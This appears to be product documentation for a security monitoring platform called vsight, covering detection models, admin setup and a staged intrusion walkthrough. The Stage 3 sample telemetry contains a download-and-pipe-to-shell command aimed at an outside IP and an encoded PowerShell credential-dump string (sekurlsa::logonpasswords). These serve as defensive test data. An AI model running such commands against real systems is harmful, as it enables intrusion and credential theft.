3. Incident Investigation Timeline & 3-Hop Blast-Radius Graph (Tab 2: Attack Graph)

Select Attack Graph (Shortcut: 2) to inspect how an intrusion propagated across source IPs, user principals, spawned processes, and internal peer hosts.

vsight 3-Hop Blast-Radius Telemetry Graph & Chronological Timeline

3.1 Graph Layouts & Chronological Hop Numbering

  • Swimlane Kill-Chain Layout: Organizes nodes left-to-right by architectural tier (External Sources -> Principals -> Compromised Hosts -> Spawned Processes -> Lateral Target Peers).
  • Chronological Timeline Layout: Sequences every interaction edge #1 .. #N with relative millisecond deltas (+0.0s, +5.0s, +8.3s) from initial access.
  • Radial Blast Rings: Places the root entity at the origin with concentric 1-hop, 2-hop, and 3-hop blast rings.

3.2 Node Contextual Inspector & Multi-Host Pivot Chains

Clicking any node in the SVG canvas populates the lower Entity Inspector split-view:

  1. Correlated Security Findings: Every MITRE tactic, technique link, trigger signal, and WAL commit offset tied to the selected node.
  2. Inbound & Outbound Hop Sequence: Exact ports, protocols (https, postgres, smb), event counts, and timestamps touching that node.
  3. Lateral Pivot Campaign Chains: Below the graph, vsight automatically stitches cross-host lateral movement (patient_zero -> bridge_entities -> lead_entity) within a 30-minute window with +0.40x pivot score amplification.

4. Entity 3-Part CMDB Risk Scoring (Tab 4: Assets & Intel)

vsight evaluates dynamic risk per (tenant_id, entity_id) using a deterministic three-component model rather than static severity labels:

  1. Inherent Asset Risk (0..35): Derived from CMDB criticality_tier (crown_jewel = 2.0x multiplier, tier1_prod = 1.5x, standard = 1.0x), trust_zone (dmz_edge, corp_internal, restricted_vault), regulated data_classifications (PCI-DSS, PII, CHD), and unmitigated known_cves.
  2. Time-Decayed Active Threat Score (0..50): Applies exponential half-life decay (decay_half_life_sec, default 3600s) to the entity's live MITRE kill-chain composite score so stale alerts naturally cool down while active multi-stage intrusions peak immediately.
  3. 1-Hop Neighbor Blast Exposure (0..15): Measures proximity to compromised peer hosts or identities in the live telemetry graph, surfacing crown-jewel databases (host:db-01, host:vault-01) before lateral movement reaches them.

Analysts can run What-If Mitigation Simulations (POST /api/v1/cmdb/what-if) to preview the exact risk reduction achieved by network micro-segmentation, EDR deployment, or CVE patching, ranked by Return on Security Investment (ROI).


5. Unsupervised Online ML Anomaly Explanations (Tab 7: ML Baselines)

Select ML Baselines (Shortcut: 7) to inspect the per-entity streaming statistical baselines that detect zero-day behavior without offline training jobs or labeled datasets.

vsight 3-Model Streaming Unsupervised Online ML Baselines

Interpreting the Three Online ML Models

Model Tracked Feature Space How Analysts Interpret Detections
1. Welford / EWMA + Page's CUSUM Per-entity outbound bytes_out mean, variance, exponentially weighted moving average, and cumulative sum drift. High Z-Score (>= 4.5) flags sudden large data exfiltration spikes (e.g., 50 MB+ archive transfer); rising CUSUM Drift (>= 10.0) catches slow, low-and-slow trickle exfiltration designed to stay beneath static byte thresholds.
2. First-Order Markov Process Lineage Conditional transition probabilities P(child_process | host_role, parent_process) learned during baseline operation. Flags rare or unseen process spawn edges (P < 0.01 after maturity warmup), such as nginx -> sh or sh -> powershell.exe on a web-server role where nginx -> nginx-worker is normal (P > 0.95).
3. 4D Streaming Half-Space Trees (HST) Normalized 4-tuple [cmd_entropy, log1p(bytes_out), dst_port_class, off_hours_flag] across an ensemble of randomized binary space-partitioning trees. Produces an Isolation Anomaly Score in [0.0, 1.0]. Scores >= 0.85 indicate rare multi-dimensional outliers combining high-entropy obfuscated command lines (Base64 -enc), unusual egress ports, and large payload transfers.

6. O(1) Forensic Time-Travel & Sandbox Rule Backtesting (Tab 6: Forensics & Tuning)

  • O(1) Blast-Radius Time-Travel: Enter a historical WAL offset (such as pre_compromise_offset) and click Compare Snapshots (GET /api/v1/forensics/timetravel) to highlight newly compromised nodes and lateral edges introduced since the clean checkpoint.
  • Zero-Side-Effect Rule Backtesting: Replay historical WAL frames inside an isolated ephemeral engine (POST /api/v1/forensics/backtest) to compare alert volume under candidate thresholds (auth_fail_threshold, lateral_fanout_threshold, entropy_threshold, exfil_z_threshold) before applying changes to live tenants.

Part IV: vsight — Administrator Guide

This guide covers production deployment, cryptographic secret bootstrap, multi-tenant retention and raw-tee memory policies, SSRF-hardened SOAR webhook governance, storage durability, microbatch tuning, and Role-Based Access Control (RBAC) for vsight administrators.


1. Hardened Production Bootstrap & Secrets Governance

By default, running vsight serve without --dev-demo activates Hardened Production Mode:

  • Demo quick-fill buttons and sample credentials are completely omitted from /login.
  • Unsigned vwarden OIDC assertions are strictly rejected.
  • Loopback and private-network SOAR webhook URLs are blocked by the SSRF egress filter.

vsight Zero-Trust SOC Operator Authentication Gate

Configure secrets exclusively via environment variables (or systemd/Kubernetes secret mounts) prior to starting vsight:

BASH
# Primary SOC Lead Admin password (minimum 12 chars recommended)
export VSIGHT_ADMIN_PASSWORD="Strong_Unique_SOC_Admin_Password_2026!"

# Optional read-only SOC Viewer password
export VSIGHT_VIEWER_PASSWORD="Strong_Unique_SOC_Viewer_Password_2026!"

# 32-byte (64 hex chars) master key for AES-256-GCM incident dossier & evidence sealing
export VSIGHT_MASTER_KEY_HEX="4f8b2a91e7d0c35618a2f4b907e31c8d5a6b7c8d9e0f1a2b3c4d5e6f708192a3"

# 32-byte (64 hex chars) key for encrypting suspended durable SOAR workflow contexts
export VSIGHT_DURABLE_KEY_HEX="9a1b2c3d4e5f60718293a4b5c6d7e8f90112233445566778899aabbccddeeff0"

# Shared HMAC-SHA256 secret for verifying federated vwarden OIDC assertions
export VSIGHT_OIDC_HMAC_SECRET="vwarden-vsight-federation-signing-secret-prod"

# Shared HMAC-SHA256 secrets for signing outbound SOAR webhooks and STIX 2.1 bundles
export VSIGHT_SOAR_HMAC_SECRET="vsight-outbound-soar-webhook-signing-secret"
export VSIGHT_STIX_HMAC_SECRET="vsight-stix21-bundle-provenance-secret"

2. Multi-Tenant Retention & Raw-Tee Digest Policies

High-volume SIEM deployments frequently suffer out-of-memory failures when raw log strings accumulate in RAM. vsight decouples structured correlation state from raw wire payloads using three configurable Raw-Tee Modes:

Raw-Tee Mode RAM / MVCC Behavior Forensic Auditability Recommended Environment
digest_only (Default) Computes a deterministic SHA-256 digest of every raw wire frame and discards the raw string from RAM (0 bytes raw payload bloat). Proves chain-of-custody integrity alongside RFC 5424 hash-chained vgate logs. High-throughput production edge & multi-tenant fleets (20,000+ EPS).
alerts_only Retains raw wire payloads in bounded ring storage only when an event triggers a CEP, Hot IOC, Deception, or Online ML alert. Preserves exact offending payloads for incident dossiers while keeping baseline noise zero-bloat. Regulated enterprise SOCs (PCI-DSS, SOC 2, HIPAA).
full Retains bounded raw events (ns_sec_raw_events) up to configured TTL and ring capacity for retrospective full-text WAL hunts. Enables arbitrary substring threat hunting across recent raw command lines and headers. Dedicated forensic sandboxes, purple-team ranges, and low-volume enclaves.

Automated TTL Reaping & Lagged WAL Compaction

Run online maintenance via the Admin API (POST /api/v1/admin/maintenance) or CLI (vsight compact <data_dir> [keep_tail_frames]):

BASH
# Reap expired sliding windows, checkpoint an LZ4/binary .snap file, and compact WAL while keeping 1,024 tail frames for O(1) time-travel
./vsight compact ./data 1024

Or schedule/trigger online compaction via REST without interrupting ingestion:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/admin/maintenance \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "compact_wal": true,
    "keep_tail_frames": 2048
  }'

3. SSRF-Safe SOAR Webhook Allowlists & Outbound Signing

When incident responders or automated playbooks invoke external SOAR webhooks, vsight protects internal infrastructure against Server-Side Request Forgery (SSRF):

vsight SOAR Connectors, Case SLAs & Sealed Evidence Dossiers

  1. Protocol & Address Enforcement: Only https:// (and explicitly configured http:// public endpoints) are permitted. file://, gopher://, ftp://, and non-HTTP schemes are unconditionally rejected.
  2. Blocked CIDR & Metadata Ranges:
    • IPv4 Loopback (127.0.0.0/8), IPv6 Loopback (::1), and IPv4-mapped IPv6 (::ffff:127.0.0.0/104).
    • RFC 1918 Private Networks (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
    • Cloud Instance Metadata Services (169.254.0.0/16, 169.254.169.254, metadata.google.internal, fd00:ec2::254).
  3. Cryptographic Webhook Authenticity: Every outbound SOAR POST includes X-VSight-Signature-256: sha256=<hex> computed with VSIGHT_SOAR_HMAC_SECRET over the canonical payload so downstream vwarden, vgate, firewall, and EDR receivers can reject forged containment commands.
  4. AES-256-GCM Evidence Sealing: Exported incident case dossiers and forensic attachments written into the confined exports/ directory are encrypted at rest with NIST SP 800-38D AES-256-GCM using VSIGHT_MASTER_KEY_HEX.

4. Storage Durability & High-Availability Replica Sync

vsight embeds the vprevail 16-shard Copy-on-Write MVCC engine:

  • Co-Located Multi-Tenant Sharding: Every tenant-scoped key uses hash-tag co-location ({tenant_id|entity_id}), ensuring all sliding windows, online ML baselines, kill-chain states, and graph edges for an entity reside on a single deterministic shard for lock-free reads (~80 ns) and single-shard atomic commits.
  • CRC32-Verified Binary WAL: Every microbatch commit is framed with a 32-byte header and IEEE CRC32 checksum before acknowledgement.
  • Active-Passive / Read-Replica WAL Synchronization: Secondary vsight nodes can operate in read_replica mode (GET /api/v1/admin/ha/status) and pull incremental WAL frames from a primary node via /api/v1/admin/ha/export-wal and /api/v1/admin/ha/apply-wal:
BASH
# Export WAL delta frames starting from offset 100 on the primary node
curl -s -b cookies.txt "http://127.0.0.1:8090/api/v1/admin/ha/export-wal?from_offset=100&max_frames=500" > wal_delta.json

# Apply exported WAL delta frames onto a standby read-replica
curl -s -b replica_cookies.txt -X POST http://127.0.0.1:8091/api/v1/admin/ha/apply-wal \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d @wal_delta.json

5. High-Throughput Microbatch Tuning

To maximize sustained events-per-second (EPS) while keeping P99 detection latency under 5 ms:

  • Batch Size (32..128 events, max 512): Grouping 64 events into a single POST /api/v1/telemetry/batch amortizes WAL frame serialization and MVCC shard snapshot publication by 15x-25x compared to single-event HTTP commits.
  • Flush Interval (5..15 ms): Configure edge forwarders (vgate and Syslog collectors) to flush whichever comes first: 64 queued events or 10 ms elapsed wall time.
  • Hot vs. Cold IOC Partitioning: Keep the inline hot_active IOC table focused on active, high-confidence (confidence >= 80) campaign indicators, and load bulk historical feeds (100k+ indicators) into cold_hunt with auto_promote_ioc_on_hit: true.

6. Multi-Tenant RBAC & Scoped API Key Lifecycle

vsight enforces a strict four-tier privilege hierarchy across both browser sessions and Bearer vsk_... API keys:

Role Constant Rank Permitted Operations Tenant Boundary
COLLECTOR_INGEST 1 POST /api/v1/telemetry/{event,batch,ingest-raw} only; zero read access to alerts, graphs, or dossiers. Pinned strictly to the API key's assigned tenant_id.
SOC_READ_VIEWER 2 Read-only access to /api/v1/overview, alerts, OCSF export, 3-hop graph, MITRE matrix, CMDB risk, ML baselines, and dry-run simulations. Restricted to assigned tenant_id (cross-tenant queries return 403).
TIER2_RESPONDER 3 All viewer permissions plus SOAR containment/triage, playbook execution, CMDB discovery, STIX/IOC upsert, WAL threat hunts, and honeytokens. Restricted to assigned tenant_id (peer tenants redacted in collective sightings).
SOC_LEAD_ADMIN 4 Full platform governance including custom bytecode rule promotion, per-tenant threshold configs, API key mint/revoke, listeners, WAL compaction, and global collective sightings. Global (*) or per-tenant filterable visibility.

Auditing & Revoking Scoped API Keys

Every administrative mutation, login attempt, RBAC denial, and SOAR action is recorded in the append-only operator audit ledger (GET /api/v1/admin/audit). Revoke compromised or retired collector keys immediately via POST /api/v1/admin/api-keys/revoke:

BASH
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/admin/api-keys/revoke \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{"key_id": "key_prod_edge_01"}'

Part V: vsight — Operations, Use Cases & Deterministic SOC Walkthrough

This guide walks through a complete, deterministic 6-stage enterprise intrusion detection and closed-loop response lifecycle—progressing from initial credential stuffing and MFA fatigue through webshell execution, LSASS credential dumping, SMB lateral movement, high-volume data exfiltration, human-in-the-loop SOAR containment, and false-positive LIFO Saga rollback.

You can execute this entire 6-stage scenario deterministically from the CLI (./vsight walkthrough) or step-by-step over the OpenAPI 3.1 REST interface as shown below.


Stage 1: Establish Normal Workload Baselines (Zero False Alerts)

Before attack traffic arrives, vsight learns normal operational patterns per (tenant_id, entity_id) and host_role across its three streaming unsupervised ML models:

  • Welford / EWMA + Page's CUSUM tracks normal 2 KiB PostgreSQL query payloads from host:web-01 (user:svc-nginx) to host:db-01:5432.
  • First-Order Markov Process Lineage learns that on host_role = "web-server", nginx -> nginx-worker is expected (P > 0.95).
  • 4D Streaming Half-Space Trees populate normal mass profiles for low-entropy daemon command lines during business hours.
BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "stage1_baseline_nginx",
    "events": [
      {
        "event_id": "base_web_01",
        "tenant_id": "corp-prod",
        "source_system": "endpoint",
        "event_kind": "process_exec",
        "host_id": "host:web-01",
        "host_role": "web-server",
        "user_id": "user:svc-nginx",
        "src_ip": "10.0.1.10",
        "dst_host": "host:db-01",
        "dst_port": 5432,
        "protocol": "postgres",
        "parent_proc": "nginx",
        "process_name": "nginx-worker",
        "command_line": "nginx: worker process",
        "bytes_out": 2048
      }
    ]
  }'

Verification: GET /api/v1/alerts?tenant_id=corp-prod returns total_alerts: 0, and vsight records the clean wal_offset checkpoint for subsequent forensic time-travel comparisons.


Stage 2: Credential Stuffing & MFA Fatigue Compromise (TA0006 -> TA0001)

An external adversary (203.0.113.88) sprays invalid TOTP codes against user:bob on vwarden (5 consecutive OIDC PKCE failures within 60s), followed by a successful MFA fatigue acceptance:

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "stage2_cred_stuffing_mfa_fatigue",
    "events": [
      {"event_id":"atk_auth_0","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_1","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_2","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_3","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_4","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login failure: invalid TOTP","outcome":"failure"},
      {"event_id":"atk_auth_ok","tenant_id":"corp-prod","source_system":"vward","event_kind":"auth","host_id":"host:web-01","user_id":"user:bob","src_ip":"203.0.113.88","command_line":"OIDC PKCE login success","outcome":"success"}
    ]
  }'

CEP Correlation Outcome:

  • The per-entity sliding auth-failure ring window crosses auth_fail_threshold = 5, emitting TA0006 (Credential Access — T1110 Brute Force).
  • When outcome = "success" immediately follows from 203.0.113.88 inside the active brute-force window, vsight correlates Brute-Force Compromise / MFA Fatigue (TA0001 Initial Access — T1078 Valid Accounts) and advances the KillChainState stage counter.

Stage 3: Webshell Spawn & LSASS Credential Harvesting (TA0002 -> TA0006)

Using the compromised session on host:web-01, the attacker spawns an interactive reverse shell under nginx (nginx -> sh) and executes Base64-encoded PowerShell targeting lsass.exe:

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "stage3_webshell_and_lsass",
    "events": [
      {
        "event_id": "atk_webshell",
        "tenant_id": "corp-prod",
        "source_system": "endpoint",
        "event_kind": "process_exec",
        "host_id": "host:web-01",
        "host_role": "web-server",
        "user_id": "user:bob",
        "src_ip": "203.0.113.88",
        "parent_proc": "nginx",
        "process_name": "sh",
        "command_line": "sh -c \"curl http://198.51.100.99/stage2.sh | bash -i\""
      },
      {
        "event_id": "atk_lsass",
        "tenant_id": "corp-prod",
        "source_system": "endpoint",
        "event_kind": "process_exec",
        "host_id": "host:web-01",
        "host_role": "web-server",
        "user_id": "user:bob",
        "src_ip": "203.0.113.88",
        "parent_proc": "sh",
        "process_name": "powershell.exe",
        "command_line": "powershell.exe -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAsekurlsa::logonpasswords",
        "target_path": "./system32/lsass.exe"
      }
    ]
  }'

CEP + Online ML Outcome:

  • Markov Lineage Anomaly: P(sh | web-server, nginx) < 0.01 flags an anomalous server-daemon shell spawn (TA0002 Execution / T1505.003 Server Software Component: Web Shell).
  • Shannon Entropy + Credential Dump: High command-line Shannon entropy (> 4.5 bits/char) combined with sekurlsa::logonpasswords / lsass.exe triggers TA0006 (T1003.001 OS Credential Dumping: LSASS Memory).

Stage 4: SMB Lateral Movement & 50 MB Vault Exfiltration (TA0008 -> TA0010)

The adversary probes SMB admin shares (dst_port: 445) across four internal infrastructure peers (host:db-01, host:db-02, host:vault-01, host:dc-01) and exfiltrates 50 MB (bytes_out: 50000000):

BASH
curl -s -X POST http://127.0.0.1:8090/api/v1/telemetry/batch \
  -H "Authorization: Bearer vsk_live_collector_token" \
  -H "Content-Type: application/json" \
  -d '{
    "batch_id": "stage4_lateral_and_exfil",
    "events": [
      {"event_id":"atk_lat_0","tenant_id":"corp-prod","source_system":"vgate","event_kind":"vnet_l7","host_id":"host:web-01","host_role":"web-server","user_id":"user:bob","src_ip":"203.0.113.88","dst_host":"host:db-01","dst_port":445,"protocol":"smb","command_line":"VNet SMB admin share probe","bytes_out":4096},
      {"event_id":"atk_lat_1","tenant_id":"corp-prod","source_system":"vgate","event_kind":"vnet_l7","host_id":"host:web-01","host_role":"web-server","user_id":"user:bob","src_ip":"203.0.113.88","dst_host":"host:db-02","dst_port":445,"protocol":"smb","command_line":"VNet SMB admin share probe","bytes_out":4096},
      {"event_id":"atk_lat_2","tenant_id":"corp-prod","source_system":"vgate","event_kind":"vnet_l7","host_id":"host:web-01","host_role":"web-server","user_id":"user:bob","src_ip":"203.0.113.88","dst_host":"host:vault-01","dst_port":445,"protocol":"smb","command_line":"VNet SMB admin share probe","bytes_out":4096},
      {"event_id":"atk_lat_3","tenant_id":"corp-prod","source_system":"vgate","event_kind":"vnet_l7","host_id":"host:web-01","host_role":"web-server","user_id":"user:bob","src_ip":"203.0.113.88","dst_host":"host:dc-01","dst_port":445,"protocol":"smb","command_line":"VNet SMB admin share probe","bytes_out":50000000}
    ]
  }'

CEP + Graph + Online ML Outcome:

  • HyperLogLog Lateral Fan-Out: Unique destination count reaches 4 (>= lateral_fanout_threshold), triggering TA0008 (Lateral Movement — T1021.002) and stitching a multi-host PivotCampaignChain.
  • Welford Z-Score & Page's CUSUM: bytes_out = 50,000,000 exceeds 4.5 standard deviations above the 2 KiB baseline, emitting TA0010 (Exfiltration — T1041).
  • Exponential Multi-Stage Amplification: Because host:web-01 has traversed 5+ distinct MITRE tactics, its composite kill-chain risk score crosses containment_score_thresh (18.0), automatically qualifying for closed-loop SOAR containment.

Inspecting O(1) Forensic Time-Travel Blast Radius

BASH
curl -s -b cookies.txt "http://127.0.0.1:8090/api/v1/forensics/timetravel?tenant_id=corp-prod&entity_id=host:web-01&past_offset=1&hops=2"

Stage 5: Closed-Loop Durable SOAR Containment & Analyst Triage

Launch and approve permanent containment for inc-2026-web01:

BASH
# 1. Initiate durable SOAR soft containment (suspends awaiting analyst awakeable decision)
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/contain \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-web01",
    "tenant_id": "corp-prod",
    "entity_id": "host:web-01",
    "user_id": "user:bob",
    "src_ip": "203.0.113.88",
    "mitre_technique_id": "T1003.001"
  }'

# 2. Confirm malicious verdict to commit permanent vwarden PDP deny & vgate WAF SecRules
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/resolve \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-web01",
    "verdict": "confirmed_malicious",
    "notes": "Confirmed nginx webshell, LSASS memory dump, and 4-peer SMB lateral spray."
  }'

Stage 6: False-Positive Triage & Automatic LIFO Saga Rollback

When an authorized Red-Team exercise or staging script on host:app-staging-02 (user:alice, 10.0.5.44) triggers soft containment, resolving the awakeable as false_positive (or transitioning the case SLA to CLOSED_FALSE_POSITIVE) automatically runs LIFO Saga compensations—re-enabling the user in vwarden, unbanning 10.0.5.44 at vgate, and resetting active threat risk to 0.0:

BASH
# 1. Start soft containment on staging alert
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/contain \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-staging-fp",
    "tenant_id": "corp-prod",
    "entity_id": "host:app-staging-02",
    "user_id": "user:alice",
    "src_ip": "10.0.5.44",
    "mitre_technique_id": "T1059.001"
  }'

# 2. Mark false_positive -> automatic LIFO Saga rollback restores identity & network access
curl -s -b cookies.txt -X POST http://127.0.0.1:8090/api/v1/soar/resolve \
  -H "Content-Type: application/json" \
  -H "X-VSight-CSRF: 1" \
  -d '{
    "incident_id": "inc-2026-staging-fp",
    "verdict": "false_positive",
    "notes": "Authorized purple-team validation run on staging workload."
  }'

Part VI: vsight — Configuration & CLI Reference

This reference documents all vsight command-line subcommands, startup flags, security bootstrap environment variables, default configuration JSON schema, wire ingestion formats, and OpenAPI 3.1 REST endpoints.


1. CLI Subcommands & Flags

Invoke vsight using vsight <subcommand> [options]. Running vsight with no arguments executes walkthrough.

Subcommand Aliases Arguments & Flags Description
serve start, web [port] [data_dir] [--dev-demo] [--host <ip>] [--syslog-tcp <addr>] [--syslog-udp <addr>] Starts the hardened SOC Studio Web UI and OpenAPI 3.1 HTTP server (defaults: port = 8090, host = 127.0.0.1).
bench benchmark (none) Runs the deterministic throughput and P99 latency benchmark gate across the wire normalizer, stateful CEP + online ML pipeline, and 3-hop graph BFS. Exits non-zero if any gate fails.
walkthrough run (none) Executes the 6-stage deterministic SOC intrusion detection, O(1) time-travel diff, durable SOAR containment, LIFO rollback, and WAL backtest demonstration in an isolated temp store.
compact maintenance [data_dir] [keep_tail_frames] Runs expired sliding-window TTL reaping, writes a point-in-time .snap checkpoint, and compacts lagged WAL segments while retaining keep_tail_frames (default 512).
openapi (none) [base_url] Prints the complete OpenAPI 3.1.0 JSON specification document to stdout (default base_url: http://127.0.0.1:8090).
docs (none) [out_dir] Compiles the separated End-User (dist/docs/user/) and Technical (dist/docs/technical/) HTML documentation suites with interactive vector SVG diagrams.
audit (none) (none) Executes static verification rules across the workspace and prints a pass/fail compliance report.
version -v, --version (none) Prints the semantic release version and active MVCC storage schema version (vsight v1.2.0 (Schema v12)).
help -h, --help (none) Displays the CLI command summary.

serve Flag Reference

  • --host <ip> — IPv4 bind address (127.0.0.1 default; bind behind vgate TLS termination or explicit internal interface).
  • --dev-demo — Loopback-only evaluation mode (127.0.0.1 / localhost). Seeds sample baseline + multi-stage attack telemetry and enables quick-fill demo login profiles. Blocked if --host is non-loopback.
  • --syslog-tcp <port|ip:port> — Starts an asynchronous RFC 5424 / CEF / JSONL TCP stream listener (digest_only raw-tee mode).
  • --syslog-udp <port|ip:port> — Starts an asynchronous RFC 5424 / CEF / JSONL UDP datagram listener (digest_only raw-tee mode).

2. Environment Variables & Default Configuration Schema

2.1 Security Bootstrap Environment Variables

Variable Default (Prod) Purpose
VSIGHT_ADMIN_PASSWORD Ephemeral CSPRNG secret (logged warning if unset) Local password for the built-in admin (SOC_LEAD_ADMIN) operator account.
VSIGHT_VIEWER_PASSWORD Ephemeral CSPRNG secret Local password for the built-in viewer (SOC_READ_VIEWER) account.
VSIGHT_MASTER_KEY_HEX Ephemeral 32-byte CSPRNG key 64-character hex AES-256-GCM master key sealing incident dossiers and forensic evidence attachments.
VSIGHT_DURABLE_KEY_HEX Ephemeral 32-byte CSPRNG key 64-character hex encryption key protecting suspended durable SOAR workflow state.
VSIGHT_OIDC_HMAC_SECRET Ephemeral CSPRNG secret Shared HMAC-SHA256 secret verifying signed vwarden OIDC assertions (payload_b64url.hmac_hex).
VSIGHT_SOAR_HMAC_SECRET Ephemeral CSPRNG secret HMAC-SHA256 key signing outbound X-VSight-Signature-256 SOAR webhook payloads.
VSIGHT_STIX_HMAC_SECRET Ephemeral CSPRNG secret HMAC-SHA256 key signing exported OASIS STIX 2.1 intelligence bundles.
VSIGHT_ALLOW_LOOPBACK_WEBHOOKS false (true in --dev-demo) Permits loopback SOAR webhook targets strictly for local integration testing.

2.2 Packaged Default Configuration (config/vsight_default_config.json)

JSON
{
  "version": "1.2.0",
  "schema_version": 12,
  "http_host": "127.0.0.1",
  "http_port": 8090,
  "dev_demo_mode": false,
  "syslog_tcp_addr": "127.0.0.1:5514",
  "syslog_udp_addr": "127.0.0.1:5514",
  "raw_tee_mode": "digest_only",
  "default_tenant_id": "corp-prod",
  "microbatch_max_events": 64,
  "microbatch_flush_ms": 10,
  "allow_loopback_webhooks": false
}

2.3 Per-Tenant Detection Rule Threshold Schema (StoredDetectionRuleConfig)

JSON
{
  "scope_key": "corp-prod",
  "tenant_id": "corp-prod",
  "auth_fail_threshold": 5,
  "lateral_fanout_threshold": 4,
  "file_velocity_threshold": 10,
  "entropy_threshold": 4.5,
  "exfil_z_threshold": 4.5,
  "markov_prob_threshold": 0.01,
  "hst_isolation_threshold": 0.85,
  "containment_score_thresh": 18.0,
  "auto_promote_ioc_on_hit": true
}

3. Telemetry Ingestion Wire Formats

vsight auto-detects four wire formats on TCP/UDP Syslog listeners and POST /api/v1/telemetry/ingest-raw (format_hint: auto, syslog, cef, ocsf, sysmon), in addition to structured JSON on /api/v1/telemetry/event and /api/v1/telemetry/batch:

  1. RFC 5424 Syslog (with optional vgate SHA-256 chain="..." integrity tags):
TEXT
   <134>1 2026-11-14T03:00:01Z edge-01 vgate 2048 - - tenant=corp-prod host=host:web-01 user=user:bob src=203.0.113.88 dst=host:db-01 dpt=445 proto=smb outcome=success out=4096 msg="SMB share probe" chain="9f86d081884c7d65"
  1. ArcSight Common Event Format (CEF:0):
TEXT
   CEF:0|Prevail|VGate|1.2|WAF-942100|SQLi Blocked|9|src=203.0.113.88 dhost=host:web-01 suser=user:bob dst=host:db-01 dpt=5432 proto=postgres cs1=SELECT * FROM cards out=8192
  1. OCSF v1.1.0 JSONL & Windows Sysmon Event JSONL:
JSON
   {"class_uid":4001,"time":1700000025000,"metadata":{"tenant_uid":"corp-prod"},"device":{"hostname":"host:web-01"},"actor":{"user":{"name":"user:bob"},"process":{"name":"powershell.exe","cmd_line":"powershell.exe -enc SQBFAFgA"}},"src_endpoint":{"ip":"203.0.113.88"},"traffic":{"bytes_out":65536}}
  1. Canonical TelemetryEvent JSON (64 KiB single-event cap; 512 events/batch cap):

Fields: event_id, timestamp_ns, tenant_id, source_system (endpoint | vward | vgate | syslog), event_kind (process_exec | auth | vnet_l7 | waf_hit | file_mod), host_id, host_role, user_id, src_ip, dst_host, dst_port, protocol, parent_proc, process_name, command_line, target_path, outcome, bytes_out, sha256_hash.


4. OpenAPI 3.1 REST Endpoint Reference

All mutating (POST) endpoints require either Authorization: Bearer vsk_... or an authenticated HttpOnly session cookie accompanied by X-VSight-CSRF: 1.

4.1 Health, Authentication & Self-Service

Method Endpoint Min Role Description
GET /healthz Public Liveness, WAL offset, schema version, and HA operating mode.
GET /api/v1/openapi.json Public Live OpenAPI 3.1.0 specification JSON.
POST /api/v1/auth/login Public Authenticate via local password or signed vward_oidc assertion.
POST /api/v1/auth/logout Viewer Revoke active session digest from MVCC session store.
GET /api/v1/self/session Viewer Current principal profile, tenant scope, and offline ISO 18004 pairing QR SVG.
POST /api/v1/delegated/onboarding Viewer Submit staged collector or tenant onboarding approval request.

4.2 Telemetry Ingestion, Alerts, Graph & Online ML

Method Endpoint Min Role Description
POST /api/v1/telemetry/event Collector Ingest and correlate a single canonical TelemetryEvent (<= 64 KiB).
POST /api/v1/telemetry/batch Collector Ingest and correlate a microbatch (1..512 events) in one WAL transaction.
POST /api/v1/telemetry/ingest-raw Collector Auto-normalize and ingest multi-line RFC 5424, CEF, OCSF, or Sysmon streams.
POST /api/v1/telemetry/verify-chain Viewer Verify cryptographic SHA-256 hash-chain continuity across vgate Syslog lines.
GET /api/v1/overview Viewer Unified tenant-scoped snapshot (KPIs, alerts, MITRE matrix, graph, SOAR, ML).
GET /api/v1/alerts Viewer List correlated security alerts filtered by tenant_id.
GET /api/v1/alerts/stream Viewer Poll O(1) ring-buffer alert stream from cursor since_seq.
GET /api/v1/alerts/ocsf Viewer Export correlated alerts in OCSF v1.1.0 Security Finding format.
GET /api/v1/killchains Viewer List active per-entity MITRE ATT&CK kill-chain state machines.
GET /api/v1/graph/blast-radius Viewer Bounded BFS blast-radius subgraph (entity_id, hops 1..4).
GET /api/v1/graph/pivot-chains Viewer List correlated multi-host lateral pivot campaign chains.
GET /api/v1/ml/baselines Viewer Inspect Welford/EWMA + CUSUM, Markov lineage, and 4D HST baselines.

